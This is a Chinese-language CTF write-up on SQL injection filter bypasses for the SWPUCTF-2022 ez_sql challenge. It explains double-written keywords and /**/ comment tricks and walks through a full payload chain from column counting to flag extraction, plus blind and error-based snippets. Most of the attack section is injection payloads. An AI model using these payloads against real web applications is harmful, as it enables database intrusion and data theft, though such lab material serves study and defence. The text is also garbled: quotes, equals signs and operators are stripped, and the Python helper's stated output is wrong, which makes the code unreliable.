CTF SQL注入实战双写绕过与注释符技巧深度解析在网络安全竞赛中SQL注入始终是Web安全赛道的核心考点。本文将深入剖析SWPUCTF-2022 ez_sql赛题中展现的双写绕过与注释符技术通过5种实战场景演示如何突破关键词过滤机制。1. SQL注入防御机制与突破思路现代Web应用常采用以下防御手段阻止SQL注入关键词过滤拦截union、or、information_schema等敏感词汇符号过滤清除单引号、注释符等特殊符号预编译语句使用参数化查询隔离数据与指令当遇到关键词过滤时可采用以下变形策略原始语句union select 1,2,3 双写变形ununionion select 1,2,3 大小写混合UnIoN sElEcT 1,2,3 注释分割uni/**/on sele/**/ct 1,2,3提示不同数据库的注释语法存在差异MySQL支持#、--和/**/而Oracle仅支持--2. 双写绕过技术详解当防御系统采用简单字符串匹配时双写技术可有效绕过检测。其核心原理是将敏感词拆分为两部分在中间插入被过滤的相同关键词系统过滤后剩余部分重新组合成完整关键词典型变形对照表原始关键词双写变形过滤后结果unionununionionunionoroorrorinformation_schemainfoorrmation_schemainformation_schema实战案例突破information_schema过滤# 错误写法直接被拦截 select table_name from information_schema.tables # 正确变形成功绕过 select table_name from infoorrmation_schema.tables3. 注释符的创造性应用注释符在绕过中有三大核心作用分割关键词uni/**/on替代空格select/**/1,2,3截断后续语句 or 11 --SWPUCTF赛题中注释符的典型应用nss-1/**/oorrder/**/by/**/4#此payload实现了用/**/替代所有空格双写绕过or过滤#注释后续单引号4. 复合绕过技术实战当遇到多重过滤时需组合多种技术。以下是完整解题流程判断注入类型nss1 and 11 # 字符型验证确定字段数nss-1/**/oorrder/**/by/**/3#爆库名双写注释nss-1/**/ununionion/**/select/**/1,database(),3#爆表名十六进制编码辅助nss-1/**/ununionion/**/select/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema0x4E53535F6462#获取flagnss-1/**/ununionion/**/select/**/1,Secr3t,flll444g/**/from/**/NSS_tb#5. 防御方案与进阶技巧开发人员防护建议使用预编译语句PreparedStatement实现正则表达式过滤/(union|select|information_schema)/i限制数据库用户权限攻击者进阶技巧# 自动化双写转换工具示例 def double_encode(keyword): mid len(keyword) // 2 return keyword[:mid] keyword keyword[mid:] print(double_encode(information_schema)) # 输出infinformation_schemaormation_schema在真实渗透测试中还需结合报错注入updatexml()提取数据时间盲注if(ascii(substr(database(),1,1))97,sleep(3),0)布尔盲注通过页面差异判断条件真假掌握这些技术的本质在于理解SQL解析原理而非死记payload。建议搭建本地测试环境如DVWA、SQLi-Labs进行反复练习观察不同变形方式对WAF的影响。